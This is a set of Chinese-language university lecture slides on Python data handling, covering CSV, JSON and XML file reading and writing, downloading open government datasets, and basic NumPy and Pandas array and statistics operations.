Python 網頁檔案擷取與處理

國立臺北科技大學資訊工程系
郭忠義教授

CSV 讀取與寫入

- csv (comma separated value)檔案格式以逗號(或其他符號)隔開欄位資料的文字檔
- csv 檔案

```
姓名,學號,期中考成績
Tom, 101, 80
John, 102, 90
Mary, 103, 95
```

- Output

```
['姓名', '學號', '期中考成績']
['Tom', ' 101', ' 80']
['John', ' 102', ' 90']
['Mary', ' 103', ' 95']
['姓名,學號,期中考成績']
['Tom', '101', '80']
['John', '102', '90']
['Mary', '103', '95']
```

讀取CSV檔案

- 使用with開啟csv檔案
  - 加上 newline=" 參數，正確解析資料中換行字元，讀取 csv 檔案須加入此參數
- 指定分隔字元
  - 資料欄位間分隔字元預設使用逗號，亦可指定欄位分隔字元

```
import csv
#with open('D:\\temp\\data.csv', newline='') as csvfile:
with open('data01.csv', newline='',encoding="utf-8") as csvfile:
  readFile = csv.reader(csvfile)
  for row in readFile:
    print(row)

with open('data02.csv', newline='',encoding="utf-8") as csvfile:
  readFile = csv.reader(csvfile, delimiter=':')
  for row in readFile:
    print(row)
```

讀取CSV檔案

- 讀取成 Dictionary
  - 讀 csv 檔，轉為dictionary 格式，存取資料較方便
  - csv.DictReader()自動把第一列(row)欄位名稱當KEY，第二列後每一列轉為 dictionary的Value，之後可使用欄位名稱存取資料

```
import csv
with open('data01.csv', newline='',encoding="utf-8") as csvfile:
  readFile = csv.DictReader(csvfile)
  for row in readFile:
    print(row['姓名'], row['學號'], row['期中考成績'])
```

寫入CSV檔案

- 一次寫入二維表格
  - 若資料是二維表格，可一次把整張表格寫進 csv 檔案

```
import csv
# 二維表格
table = [['班級', '學號', '成績'], ['資工一', '109590001', 90], ['資工一', '109590002', 85]]
with open('output.csv', 'w', newline='') as csvfile:
  writer = csv.writer(csvfile)
  writer.writerows(table)   # 寫入二維表格
```

- 寫入 Dictionary
  - 若資料格式是 dictionary，可使用 csv.DictWriter() 寫入 csv 檔案

```
import csv
with open('output.csv', 'w', newline='') as csvfile:
  columns = ['班級', '學號', '成績']
  # 將 dictionary 寫入 CSV 檔
  writer = csv.DictWriter(csvfile, fieldnames=columns, delimiter=':')
  writer.writeheader()   # 寫入第一列的欄位名稱
  writer.writerow({'班級': '資工一', '學號': '109590003', '成績': 95})   # 寫入資料
  writer.writerow({'班級': '資工一', '學號': '109590004', '成績': 88})   # 寫入資料
```

delimiter=‘:’ is optional

CSV 套件常用方法

方法	功能說明
csv.reader(csvfile, dialect='excel', **fmtparams)	從csvfile讀取的每行都作為字串串列回傳給可迭代閱讀器物件，dialect參數用來定義採用其他分隔符號格式，預設為excel。
csv.writer(csvfile, dialect='excel', **fmtparams)	傳回一個寫入器物件，dialect參數用法同上。
next()	取出閱讀器物件內下一列元素。
writerow(row)	將row參數傳給寫入器物件，寫入csv檔案。

新北市公共自行車即時資訊

- https://data.ntpc.gov.tw/，新北市公共自行車租賃系統(YouBike)，下載取得csv檔，解壓縮。
- 新北市公共自行車即時資訊欄位
  - sno：站點代號、 sna：場站名稱(中文)
  - tot：場站總停車格、sbi：場站目前車輛數量
  - sarea：場站區域(中文)
  - mday：資料更新時間
  - lat：緯度、 lng：經度
  - ar：地址(中文)、 sareaen：場站區域(英文)
  - snaen：場站名稱(英文)、 aren：地址(英文)
  - bemp：空位數量
  - act：全站禁用狀態

新北市公共自行車即時資訊

```
import urllib.request  #匯入套件
import zipfile
import csv
# 公開資料檔案
url ='https://data.ntpc.gov.tw/api/datasets/71CD1490-A2DF-4198-BEF1-318479775E8A/csv/zip'
zipName = 'F.zip'                                #壓縮檔案名稱
urllib.request.urlretrieve(url,zipName)     #下載壓縮檔
f=zipfile.ZipFile(zipName)                      #開啟壓縮檔
#file_dir = './FF'
file_dir = './'                                  #解壓縮目錄
for fileName in f.namelist():                    #壓縮檔案列表檔名
    f.extract(fileName,file_dir)                 #擷取壓縮檔案
    print(fileName)                              #印出解壓縮檔案名稱
f.close()                                        #關檔
f = open(fileName,'r',encoding = 'utf8')         #開啟CSV檔案，，唯讀 utf-8解碼
plots = csv.reader(f, delimiter=',')             #讀取CSV檔案間隔逗號，設定給plots串列物件
for row in plots:                                #印出UBIKE資料
    print('%5s' %row[0], '%15s' %row[1], '%5s' %row[3], '%5s' %row[12])
f.close()
```

新北市公共自行車即時資訊

- 針對plots物件中每個欄位(row)，列印
  - 欄位0（no：站點代號）
  - 欄位1（sna：場站名稱(中文)）
  - 欄位3（sbi：場站目前車輛數量）
  - 欄位12（bemp：空位數量）。

```
1727        八里行政中心    9   27
 1728      疏洪東竹圍仔街口   13   13
 1729       民生路156巷    5   20
 1730         深澳漁港   10   19
 1731   新北大道昌平街口(臨時站)    9    7
 1736        中山八德街口    5   27
 1738       輕軌漁人碼頭站   10   39
```

全國環境輻射偵測即時資訊

- pmi.csv
- 檔案由行政院原子能委員會http://www.aec.gov.tw/取得。https://www.aec.gov.tw/dataopen/index.php?id=2
- 以唯讀方式開啟，編碼方式'utf8'，設為csvfile物件。

```
#全國環境輻射偵測即時資訊
#主要欄位說明： 監測站,監測站(英文),監測值(微西弗/時),時間,GPS經度,GPS緯度
import csv
with open('pmi.csv','r',encoding = 'utf8') as csvfile:
    plots = csv.reader(csvfile, delimiter=',')
    for row in plots:
        print(row[0]+" "+row[2]+" "+row[3])
```

JSON 資料格式

- JSON(JavaScript Object Notation)
  - JavaScript語言子集，開放資料交換格式，用於描述資料結構。
- JSON資料型別
  - 字串：以""括起來的一串字元。
  - 數值：0-9組合，可以為負數或小數，用e或E表示指數形式。
  - 布林值：true或false。
  - 有序列表(array)：一個或多個值，[value, value, ...]。
  - 物件
    - 與Python字典相同，{key1: value1, key2, value2, ...}
    - key是一個字串
    - value可以是字串(string)，數值(number)，物件(object)，布林值(bool)，有序列表(array)，或null值。

JSON 資料型別

- JSON 與 Python 資料型別對照表

JSON	Python
object	dict
array	list
string	unicode
number (int)	int, long
number (real)	float
true	True
false	False
null	None

Python	JSON
dict	object
list, tuple	array
str, unicode	string
int, long, float	number
True	true
False	false
None	null

JSON 轉換

- json.loads
  - 將已編碼JSON字串解碼為Python物件，用於輸入Python資料。
  - json.loads(s[, encoding[, cls[, object_hook[, parse_float[, parse_int[, parse_constant[, object_pairs_hook[, **kw]]]]]]]])
- json.dumps
  - 將Python物件編碼成JSON字串，用於輸出JSON資料。
  - 語法
    json.dumps(obj, skipkeys=False, ensure_ascii=True, check_circular=True, allow_nan=True, cls=None, indent=None, separators=None, encoding="utf-8", default=None, sort_keys=False, **kw)

範例程式 I

```
import json                                                    #匯入json套件
print(json.dumps(['two', {'bar': ('jaz', None, 2.0, 1)}]))   #寫入List
print(json.dumps("\"two\bar"))                                 #寫入字串
print(json.dumps('\u4321'))                                    #寫入 unicode字串
print(json.dumps('\\'))
print(json.dumps({"c": 0, "b": 0, "d": 0}, sort_keys=True))  #寫入字典並排序
```

範例程式II

```
import json
#寫入[0,1, 2, 3, {‘4’: 5, ‘6’: 7}]串列，設定分隔符號separators=(‘,’, ‘:’)，
# ‘,’用於串列元素分隔， ‘:’用於字典的鍵與值間分隔
print(json.dumps([0,1, 2, 3, {'4': 5, '6': 7}], separators=(',', ':')))
#寫入{‘4’: 5, ‘6’: 7}字典，並設定按照鍵值排序與縮排3個空格。
print(json.dumps({'4': 5, '6': 7}, sort_keys=True, indent=3))
```

範例程式III

```
import json
#設定json格式資料 ‘{“a”:1,“b”:2,“c”:3,“d”:4,“e”:5,“f”:6}’為jsonData物件
jsonData = '{"a":1,"b":2,"c":3,"d":4,"e":5,"f":6}';
#運用json.loads 方法解析jsonData物件中的資料，設定為text物件
text = json.loads(jsonData)
print(text)
```

JSON 某餐廳菜單

```
import json
menu = \                                #設定餐廳菜單json格式資料menu物件
 {
 "breakfast": {
        "hours": "7-11",
        "items": {
                "breakfast burritos": "$60",
                "pancakes": "$40"
                }
        },
 "lunch" : {
        "hours": "11-3",
        "items": {
                "hamburger": "$50"
                }
        },
 "dinner": {
        "hours": "3-10",
        "items": {
                "spaghetti": "$80"
                }
        }
 }
```

JSON 某餐廳菜單

```
menu_json = json.dumps(menu)    #運用json.dump將menu物件寫入，設定為menu_json物件，
print(menu_json)
menu2 = json.loads(menu_json)    #運用json.loads 將menu_json物件中的資料解析出，設定
為menu2物件
print(menu2)
```

新北市自行車即時資訊

- 以讀取模式開啟"E1-3-2-3-input.json"指派給file物件。
- 運用json.loads 方法解析file物件中的資料，設為data物件。
- 反覆搜尋data物件中item串列的字典，列印 ‘sno’(站點代號)、 ‘sna’)(場站名稱(中文))、 'tot‘(場站總停車格)的值。

```
import json
with open("bik3.json",encoding = 'utf8') as file:
    data = json.load(file)
    for item in data:
        print([item['sno'], item['sna'],item['tot']])
```

XML (eXtensible Markup Language)

- XML
  - 標記式(Markup)語言，透過標記電腦可處理各種資訊符號。
  - 簡化標準通用標記式語言(SGML) ，用到可延伸標記式語言、可延伸樣式語言(XSL)、XBRL和XPath等。
  - XML通常用於資料傳送，存在一些子格式，如RSS和Atom。業界有許多定制化XML格式，例如金融領域。
  - XML有許多Python函式庫。
  - 忽略空格。

範例menu.xml

```
<?xml version="1.0"?>
<menu>
  <breakfast hours="7-11">
    <item price="$60">breakfast burritos</item>
    <item price="$40">pancakes</item>
  </breakfast>
  <lunch hours="11-3">
    <item price="$50">hamburger</item>
  </lunch>
  <dinner hours="3-10">
    <item price="80">spaghetti</item>
  </dinner>
</menu>
```

XML (eXtensible Markup Language)

- 標籤
  - 以 < 開頭，如標籤menu、breakfast、lunch、dinner和item。
  - 標籤(如<menu>)後接內容，最後結束標籤(</menu>)
  - 標籤間可存在多層子標籤，例如菜單，item是breakfast、lunch和dinner標籤的子標籤，也是menu的子標籤。
  - 若標籤無內容或子標籤，可用 <thing/> 代替 <thing> 和 </thing>。
  - 可把最後一個item標籤寫作 <item price ="$8.00" food ="spaghetti"/>。
  - 標籤可包含值(value)，如breakfast第二個 item的值是pancakes。
  - 標籤可包含屬性(attribute)，如price是item的屬性。
  - 標籤的屬性有值，如 price = "$40"

ElementTree 套件

- Python解析XML可使用ElementTree
  - ElementTree()建構空樹
  - parse()讀入xml檔案，解析映射到空樹；
  - getroot()獲取根節點，透過下標[]可存取相應節點；
  - tag獲取節點名
  - attrib獲取節點屬性字典，text獲取節點文本；
  - find()回傳匹配到節點名的第一個節點，findall()回傳匹配到節點名的所有節點，find()、findall()兩者都僅限當前節點的一級子節點，支援xpath路徑提取節點；
  - iter()創建樹反覆運算器，遍歷當前節點的所有子節點，回傳匹配到節點名的所有節點；
  - remove()移除相應的節點

XML 讀取

```
import xml.etree.ElementTree as et
tree = et.ElementTree(file='menu.xml') # 讀取'menu.xml'，獲取tree物件
root = tree.getroot()                                    # 獲取root物件
print(root.tag)                                          #列印root物件的tag屬性('menu')
#遍歷root物件child子節點列印tag與attrib屬性
for child in root: print('tag:', child.tag, 'attributes:', child.attrib)
    #遍歷child節點的子節點列印tag與attrib屬性
    for grandchild in child: print('\ttag:', grandchild.tag, 'attributes:', grandchild.attrib)
print(len(root))                 # 菜單選項的數目
print(len(root[0]))              # 早餐選項的數目
```

country_data.xml

```xml
<?xml version="1.0"?>
<data>
   <country name="愛爾蘭">
      <rank>4</rank>
      <year>2017</year>
      <gdppc>70638</gdppc>
      <neighbor name="英國" direction="北"/>
   </country>
   <country name="新加坡">
      <rank>8</rank>
      <year>2017</year>
      <gdppc>57713</gdppc>
      <neighbor name="馬來西亞" direction="北"/>
   </country>
   <country name="巴拿馬">
      <rank>68</rank>
      <year>2011</year>
      <gdppc>13600</gdppc>
      <neighbor name="哥斯大黎加" direction="西"/>
      <neighbor name="哥倫比亞" direction="東"/>
   </country>
</data>
```

XML 讀取

```
import xml.etree.ElementTree as ET
tree = ET.parse('country_data.xml')                    # 解析xml檔，回傳ElementTree物件。
root = tree.getroot()                                  #獲得根節點
#列印根節點標籤名
print("coutry_data.xml的根節點："+root.tag)
# 列印根節點的屬性和屬性值
print("根節點標籤裡的屬性和屬性值："+str(root.attrib))
# 遍歷獲取子節點的標籤、屬性和屬性值
for child in root:
    print(child.tag, child.attrib)
# 獲取country標籤下的子標籤的內容
print("排名:"+root[0][0].text,"國內生產總值:"+root[0][2].text,)
# 把所有neighbor標籤找出來，並列印出標籤的屬性和屬性值。
for neighbor in root.iter('neighbor'):
    print(neighbor.attrib)
# 使用findall()方法把滿足條件的標籤找出來反覆運算
for country in root.findall('country'):
    rank = country.find('rank').text
    name = country.get('name')
    print(name,rank)
```

XML 寫入

- ElementTree套件寫入方法
  - ElementTree()構建節點
  - set()設置屬性和相應值
  - append()增加子節點
  - extend()結合循環器中的chain()合成列表添加一組節點
  - ext屬性設置文本值
  - write()寫入xml檔案

XML 寫入

```
import xml.etree.ElementTree as ET
tree = ET.parse('country_data.xml')    #解析xml檔，回傳ElementTree物件
root = tree.getroot()                  #獲得根節點
# 遍歷修改標籤，包括增加屬性和屬性值、修改屬性值、刪除標籤
for rank in root.iter("rank"):
    new_rank=int(rank.text)+1
    rank.text=str(new_rank)
    rank.set("updated","yes")
# 利用write()方法創建檔，並把xml寫入新的檔，同時指定寫入內容的編碼
tree.write("output.xml",encoding="utf-8")
```

XML 寫入

```
import xml.etree.ElementTree as ET
tree = ET.parse('country_data.xml')    #解析xml檔，回傳ElementTree物件
root = tree.getroot()                  #獲得根節點
# 遍歷獲得滿足條件的元素，並使用remove()指定刪除
for country in root.findall('country'):
    rank=int(country.find("rank").text)
    if rank>50:
        root.remove(country)
tree.write("output.xml",encoding="utf-8")
# 利用write()方法創建檔，並把xml寫入新的檔，指定寫入內容的編碼
```

Python 網頁資料擷取與分析
資料分析能力

2. NumPy模組陣列資料處理應用。
3. Pandas模組資料分析應用。

國立臺北科技大學資訊工程系
郭忠義教授

NumPy

- NumPy
  - Python的擴充程式庫，代表 "Numeric Python"。
  - 由多維陣列物件和用於處理陣列的函式集合，支援高階大維度陣列與矩陣數學函式庫運算。
  - 能表示為陣列或矩陣運算的演算法，效率與編譯過C語言一樣。
  - 用於陣列計算
    - ndarray: 強大的N維陣列物件
    - 整合 C/C++/Fortran 的工具
    - 線性代數、傅立葉轉換、亂數產生等功能
    - 不同大小的陣列之間的運算叫做廣播(broadcasting)

NumPy 建立陣列與存取元素

- NumPy
  - 核心功能"ndarray"(n-dimensional array，多維陣列)資料結構，表示多維度、同質且固定大小的陣列物件。
  - 一維陣列以索引(Index)存取元素，與Python索引用法相同。
  - 由(list)或(tuple)給np.array，建立一維陣列。
  - 由np.linspace建立一個間隔相同的陣列
  - 由np.arange建立一維陣列。
  - 建立一維陣列，利用reshape轉為所需各種外形(shape)。
  - 由多維串列(list)給np.array，建立多維陣列，由np.shape取外形。
  - 多維陣列以二維Index存取元素。

NumPy 建立陣列與存取元素

- Numpy 資料型態
  - type(x)　　回傳參數的資料型別
  - dtype　　回傳陣列中元素的資料型別
  - astype()　　進行資料型別轉換

```
import numpy as np
x = np.array([1, 2, 3, 4, 5, 6])
y = x.astype('float64')
print(x)
print(type(x))
print(y.dtype)
print(y)
```

```
[1 2 3 4 5 6]
<class 'numpy.ndarray'>
float64
[1. 2. 3. 4. 5. 6.]
```

NumPy 建立陣列與存取元素

- Numpy 陣列取值

```
x = np.ones([2, 3])      #設定 2x3 值均為 1， #([row, column])
print(x)
y = x.reshape([3, 2])   #將 2x3 改為 3x2
print(y)
z=np.array([[1,2,3,4],
            [5,6,7,8],
            [9,10,11,12],
            [13,14,15,16],
            [17,18,19,20]])
print(z[:,::-1])
print(z[:,0])           #取矩陣 z 的所有行的第 0 列元素，
print(z[:,1])           #取所有行的第 1 列的元素。
print( z[0,:])          #取矩陣 z 的第 0 行所有元素，
print( z[1,:])          #取矩陣 z 的第 1 行所有元素。
print(z[:,2:3])
print(z[0][2], z[0,2])
```

#z[:,m:n:s]即取矩陣 z 的所有行中，# 第 m 到 n-1 列資料，含左不含右。
s 是 step, 空的就是全取，-1 是倒轉

```
[[1. 1. 1.]
 [1. 1. 1.]]

[[1. 1.]
 [1. 1.]
 [1. 1.]]

[[ 4  3  2  1]
 [ 8  7  6  5]
 [12 11 10  9]
 [16 15 14 13]
 [20 19 18 17]]

[ 1  5  9 13 17]
[ 2  6 10 14 18]
[1 2 3 4]
[5 6 7 8]

[[ 3]
 [ 7]
 [11]
 [15]
 [19]]

3 3
```

NumPy 操作

```
import numpy as np
x = np.ones([3, 4])
print(x,'\n')
y = x.reshape([4, 3])
print(y,'*\n')
z= y+1
print(z,'\n')
h=np.random.randint(50, size=(4, 3))
print(h,'$\n')
g = z[0:2,0]+2*h[1:3,1]
print(z[0:2,0])
print(2*h[1:3,1])
print(g,'\n')

b = z[0:2,0:2]+2*h[1:3,1:3]
print(z[0:2,0:2])
print(2*h[1:3,1:3])
print(b,'~\n')
```

```
[[1. 1. 1. 1.]
 [1. 1. 1. 1.]
 [1. 1. 1. 1.]]

[[1. 1. 1.]
 [1. 1. 1.]
 [1. 1. 1.]
 [1. 1. 1.]] *

[[2. 2. 2.]
 [2. 2. 2.]
 [2. 2. 2.]
 [2. 2. 2.]]

[[ 2 10  1]
 [47  5 36]
 [23 10  6]
 [11 10  3]] $

[2. 2.]
[10 20]
[12. 22.]

[[2. 2.]
 [2. 2.]]
[[10 72]
 [20 12]]
[[12. 74.]
 [22. 14.]] ~
```

NumPy 操作

- 擴充矩陣
  - numpy.append(arr, values, axis = None)
  - arr，要新增元素的陣列
  - values，被新增陣列
  - axis，指定軸方向進行操作

```
k = np.append(y, h, axis=0)
print(k,'\n')
m = np.append(y, h, axis=1)
print(m,'@\n')
f = np.ones([3, 3])
n = np.append(f, h, axis=0)
print(n,'\n')
r = n.T
print(r,'!\n')
```

```
[[ 1.  1.  1.]
 [ 1.  1.  1.]
 [ 1.  1.  1.]
 [ 1.  1.  1.]
 [ 2. 10.  1.]
 [47.  5. 36.]
 [23. 10.  6.]
 [11. 10.  3.]]

[[ 1.  1.  1.  2. 10.  1.]
 [ 1.  1.  1. 47.  5. 36.]
 [ 1.  1.  1. 23. 10.  6.]
 [ 1.  1.  1. 11. 10.  3.]] @

[[ 1.  1.  1.]
 [ 1.  1.  1.]
 [ 1.  1.  1.]
 [ 2. 10.  1.]
 [47.  5. 36.]
 [23. 10.  6.]
 [11. 10.  3.]]

[[ 1.  1.  1.  2. 47. 23. 11.]
 [ 1.  1.  1. 10.  5. 10. 10.]
 [ 1.  1.  1.  1. 36.  6.  3.]] !
```

NumPy 隨機

np.random.random((1000, 20))　　#從0-20中隨機產生一千個浮點數。
numpy.random.rand(d0, d1, ..., dn)：#產生一個[0,1)之間的隨機浮點數或N維浮點陣列。
numpy.random.randn(d0, d1, ..., dn)：
產生一個浮點數或N維浮點陣列，取數範圍：常態分佈的隨機樣本數。
numpy.random.standard_normal(size=None)：
產生一個浮點數或N維浮點陣列，取數範圍：標準常態分佈隨機樣本
numpy.random.randint(low, high=None, size=None, dtype='l')：
產生一個整數或N維整數陣列，取數範圍：若high不為None時，取[low,high)之間隨機整數，否則取值[0,low)之間隨機整數。
np.random.randint(5, size=(2, 4))
numpy.random.random_integers(low, high=None, size=None)：
產生一個整數或一個N維整數陣列，取值範圍：若high不為None，則取[low,high]之間隨機整數，否則取[1,low]之間隨機整數。
numpy.random.random_sample(size=None)：
產生一個[0,1)之間隨機浮點數或N維浮點陣列。
numpy.random.choice(a, size=None, replace=True, p=None)：
從序列中獲取元素，若a為整數，元素取值為np.range(a)中亂數；若a為陣列，取值為a陣列元素中隨機元素
rdm = numpy.random.RandomState(seed=None) # 產生偽隨機狀態種子

NumPy 聚合操作

- NumPy具有內建聚合操作功能，可用於處理陣列。
- 在NumPy中np.sum語法與Python內建功能類似，可得到相同總和，但NumPy遠比Python版本快。
- 在NumPy中也有np.min與np.max，也可得到相同最小值與最大值，但速度截然不同。
- 對min、max、sum和其他幾個NumPy聚合功能，更短的寫法是使用陣列物件本身的方法。
- 存在二維陣列中的資料，預設是對整個陣列進行聚合操作，但也可以依行或列進行聚合操作。
- 聚合函數採用參數axis來指定計算聚合的軸。
  axis = 0表示針對每列計算，指定axis = 1針對每行進行計算。

NumPy 聚合列表

功能名稱	NaN安全版	說明
np.sum	np.nansum	計算元素之和
np.prod	np.nanprod	計算元素的乘積
np.mean	np.nanmean	計算元素的中位數
np.std	np.nanstd	計算標準差
np.var	np.nanvar	計算方差
np.min	np.nanmin	找到最小值
np.max	np.nanmax	找到最大值
np.argmin	np.nanargmin	查找最小值索引
np.argmax	np.nanargmax	查找最大值索引
np.median	np.nanmedian	計算元素的中位數
np.percentile	np.nanpercentile	計算元素基於排名的統計數據
np.any	N / A	評估是否有任何元素為真
np.all	N / A	評估所有元素是否都為真

基本統計敘述

```
import numpy as np
data = [37, 24, 6, 51, 83, 28, 51, 58, 82, 95,
        8, 43, 86, 78, 71, 82, 58, 10, 15, 56,
        4, 75, 6, 95, 23, 79, 90, 35, 72, 25,
        50, 29, 44, 67, 67, 61, 40, 44, 13, 59,
        60, 67, 93, 69, 71, 8, 76, 81, 17, 72,
        83, 6, 42, 53, 98, 6, 90, 4, 59, 87,
        28, 17, 28, 46, 40, 53, 70, 49, 55, 41,
        74, 57, 31, 55, 5, 65, 44, 98, 36, 4]
data = np.array(data)
print('資料型態：%s' % type(data))
print('平均值：%.2f' % np.mean(data))
print('中位數：%.2f' % np.median(data))
print('標準差：%.2f' % np.std(data))
print('變異數：%.2f' % np.var(data))
print('極差值：%.2f' % np.ptp(data))
```

```
資料型態：<class 'numpy.ndarray'>
平均值：50.48
中位數：53.00
標準差：27.57
變異數：760.27
極差值：94.00
```

陣列運算

```
import numpy as np
#random.randint取得1~51的12個隨機，reshape為3*4陣列
matrix1 = np.random.randint(1, 51, 12).reshape(3, 4)
#random.randint取得1~51的20個隨機數，reshape為4*5陣列
matrix2 = np.random.randint(1, 51, 20).reshape(4, 5)
print('matrix1: \n%s' % matrix1)      #顯示matrix1
print('\nmatrix2: \n%s' % matrix2)   #顯示matrix2
#顯示matrix1每一列的最大值
print('\nmatrix1每一列的最大值：%s' % np.amax(matrix1, axis=1))
#輸出matrix1第2列小於30的個數
print("\nmatrix1第2列小於30的個數：%d" % np.sum(matrix1[2, :] < 30))
#顯示matrix2每一欄的最大值
print('\nmatrix2每一欄的最大值：%s' % np.amax(matrix2, axis=0))
#輸出matrix2第2欄小於30的個數
print("\nmatrix2第2欄小於30的個數：%d" % np.sum(matrix2[:, 2] < 30))
#輸出matrix1第一列和matrix2第一列的聯集結果
print('\nmatrix1第一列和matrix2第一列聯集：%s' % np.union1d(matrix1[0,:], matrix2[0,:]))
#輸出matrix1*matrix2的結果
print('\nmatrix1 * matrix2: \n%s' % np.dot(matrix1, matrix2))
```

陣列運算

```
matrix1:
[[37 48 47 46]
 [27 27 32 23]
 [ 5 13 40 40]]
matrix2:
[[ 8 41  2 36 35]
 [ 1 46 44 29 48]
 [39 49 46 14 42]
 [15 19 30 36 24]]

matrix1每一列的最大值：[48 32 40]
matrix1第2列小於30的個數：2
matrix2每一欄的最大值：[39 49 46 36 48]
matrix2第2欄小於30的個數：1
matrix1第一列和matrix2第一列的聯集結果：[ 2  8 35 36 37 41 46 47 48]

matrix1 * matrix2:
[[2867 6902 5728 5038 6677]
 [1836 4354 3404 3031 4137]
 [2213 3523 3622 2557 3439]]
```

全年毛豬交易行情資料

```
#total_amt(成交頭數-總數)、average_weight(成交頭數-平均重量)
# average_price(成交頭數-平均價格)
import numpy as np
# 讀入資料，檔案以","分隔，跳過第一行標題
nf1 = np.genfromtxt('pig.csv',delimiter=',',skip_header=1)
print("市場全年成交最高平均重量"+str(nf1[:,1].max(axis=0)))
print("市場全年成交最低平均價"+str(nf1[:,2].min(axis=0)))
print("市場全年總成交頭數"+str(nf1[:,0].sum(axis=0)))
#計算每日成交金額，設定為total_sales物件
total_sales=(nf1[:,0]*nf1[:,1]*nf1[:,2])
print("市場全年總成交金額"+str(total_sales.sum(axis=0)))
print("市場全年成交平均每頭金額
"+str(total_sales.sum(axis=0)/nf1[:,0].sum(axis=0)))
```

```
市場全年成交最高平均重量148.18
市場全年成交最低平均價66.35
市場全年總成交頭數3383747.0
市場全年總成交金額32115493123.458595
市場全年成交平均每頭金額9491.103538018237
```

美國歷任總統身高資料

```
import numpy as np
# 讀入'president_heights.csv'檔案中以","分隔，欄位：
# order(排序)、name(姓名)、height(cm)(身高)，跳過第一行標題
data = np.genfromtxt('president_heights.csv', delimiter=',',skip_header=1 )
# 第三欄height(cm)另存為heights陣列，列印
heights = np.array(data[:,2])
print(heights)
print("Mean height:       ", heights.mean())
print("Standard deviation:", heights.std())
print("Minimum height:    ", heights.min())
print("Maximum height:    ", heights.max())
# 輸出美國總統身高第一四分位數
print("25th percentile:   ", np.percentile(heights, 25))
# 輸出美國總統身高第中位數
print("Median:            ", np.median(heights))
# 輸出美國總統身高第三個四分位數
print("75th percentile:   ", np.percentile(heights, 75))
```

```
[189. 170. 189. 163. 183. 171. 185. 168.
173. 183. 173. 173. 175. 178.
 183. 193. 178. 173. 174. 183. 183. 168.
170. 178. 182. 180. 183. 178.
 182. 188. 175. 179. 183. 193. 182. 183.
177. 185. 188. 188. 182. 185.
 190.]
Mean height:       179.97674418604652
Standard deviation: 7.023178807524852
Minimum height:    163.0
Maximum height:    193.0
25th percentile:   174.5
Median:            182.0
75th percentile:   184.0
```

NumPy 排序

- NumPy快速排序
  - 一般針對個別欄或列，各自排序
  - np.sort: 不修改輸入陣列，回傳陣列的排序版本
  - argsort回傳已排序元素的索引(indices)。
  - 使用axis參數對多維陣列的特定行或列進行排序。
  - np.partition取一個陣列和一個數字K；結果是一個新陣列，分區左邊有最小的K個值，剩下的值任意顯示在右邊。

NumPy 排序

- NumPy快速排序
  - 依第一列元素對整個矩陣排序

```
import numpy as np
x = np.array([[11,  5, 7, 13],
              [23, 12, 4,  9],
              [ 9, 16, 8,  3]])
print(np.sort(x, axis=0))
print(-np.sort(-x, axis=0))
print(np.sort(x, axis=1))
print(np.argsort(x, axis=0))
print(np.argsort(x, axis=1))
print(np.partition(x, 2, axis=0))
#依第一列元素對整個矩陣排序
x=x[x[:,0].argsort()]
print(x)
```

```
[[ 9  5  4  3]
 [11 12  7  9]
 [23 16  8 13]]

[[23 16  8 13]
 [11 12  7  9]
 [ 9  5  4  3]]

[[ 5  7 11 13]
 [ 4  9 12 23]
 [ 3  8  9 16]]
```

```
[[2 0 1 2]
 [0 1 0 1]
 [1 2 2 0]]

[[1 2 0 3]
 [2 3 1 0]
 [3 2 0 1]]

[[ 9  5  4  3]
 [11 12  7  9]
 [23 16  8 13]]

[[ 9 16  8  3]
 [11  5  7 13]
 [23 12  4  9]]
```

排序

```
import numpy as np
# 設定 array 物件
arr = np.array([[ 3,  2],[ 1,  6],[ 12,  11],[ 10,  9],[ 4, 8],[ 5, 7]])
print(arr)  # 輸出 arr 陣列物件
# 印輸出陣列arr的shape，arr陣列為6*2陣列
print(arr.shape)
#對arr進行排序(未指定則預設對最後一個軸)並輸出
print(np.sort(arr))
對arr進行排序(指定對最後一個軸，與上行結果同)並輸出
print(np.sort(arr,axis=-1))
# 對arr進行排序(指定對第一個軸)並輸出
print(np.sort(arr,axis=0))
# 將arr調整成3維陣列3*2*2，設為arr1物件
arr1=arr.reshape(3,2,2)
# 對arr1進行排序(指定對第一個軸)並輸出
print(np.sort(arr1,axis=0))
# 對arr1進行排序(指定對第二個軸)並輸出
print(np.sort(arr1,axis=1))
# 對arr1進行排序(指定對最後一個軸)並輸出
print(np.sort(arr1,axis=-1))
```

```
[[ 3  2]
 [ 1  6]
 [12 11]
 [10  9]
 [ 4  8]
 [ 5  7]]
(6, 2)

[[ 2  3]
 [ 1  6]
 [11 12]
 [ 9 10]
 [ 4  8]
 [ 5  7]]
[[ 2  3]
 [ 1  6]
 [11 12]
 [ 9 10]
 [ 4  8]
 [ 5  7]]

[[ 1  2]
 [ 3  6]
 [ 4  7]
 [ 5  8]
 [10  9]
 [12 11]]
```

```
[[[ 3  2]
  [ 1  6]]
 [[ 4  8]
  [ 5  7]]
 [[12 11]
  [10  9]]]

[[[ 1  2]
  [ 3  6]]

 [[10  9]
  [12 11]]

 [[ 4  7]
  [ 5  8]]]
[[[ 2  3]
  [ 1  6]]

 [[11 12]
  [ 9 10]]

 [[ 4  8]
  [ 5  7]]]
```

排序

```
import numpy as np
# 設定data物件
data = [(2,'c',85.4),(3,'java',90),(4,'php',88)]
# 將data讀入為numpy陣列，指定各欄位名稱與資料型態
arr2 = np.array(data,dtype =[('no',int),('name','S10'),('score',float)])
# 指定'score'欄位進行遞增排序後輸出
print(np.sort(arr2,order='score'))
# 指定'no'、'score'欄位進行多列組合排序排序後輸出
print(np.sort(arr2,order = ['no','score']))#多列組合排序
```

```
[(2, b'c', 85.4) (4, b'php', 88. ) (3, b'java', 90. )]
[(2, b'c', 85.4) (3, b'java', 90. ) (4, b'php', 88. )]
```

Python

郭忠義

jykuo@ntut.edu.tw

臺北科技大學資訊工程系

Panda

- pandas 套件
  - 基於NumPy 的資料分析工具，提供大量函式庫和標準資料模型、三個資料結構：Panel、DataFrame 與 Series。
  - DataFrame 與 Series是特殊化Python字典，一般化NumPy陣列
  - 處理異質資料讀取、轉換、輸出整合，如：從列欄試算表中尋值、讀取資料庫進入 Dataframe，處理後存回資料庫。。
  - 載入資料結構物件，快速進行資料前處理，如資料補值，空值，刪除、插入或取代列，對資料集進行拆分組合操作等。
  - 處理浮點及非浮點資料類型的缺失值(NaN)
  - 轉換Python和NumPy不同索引的資料為DataFrame物件，進行合併，連接資料集，重新定義資料集形狀和轉置。

Panda

- Pandas Series
  - 可處理時間序列如感測器資料。
  - 具有索引(可以不限整數)的一維陣列，類似字典。
  - 可從串列或陣列創建，包含一系列值和一系列索引，可使用values和index屬性存取。
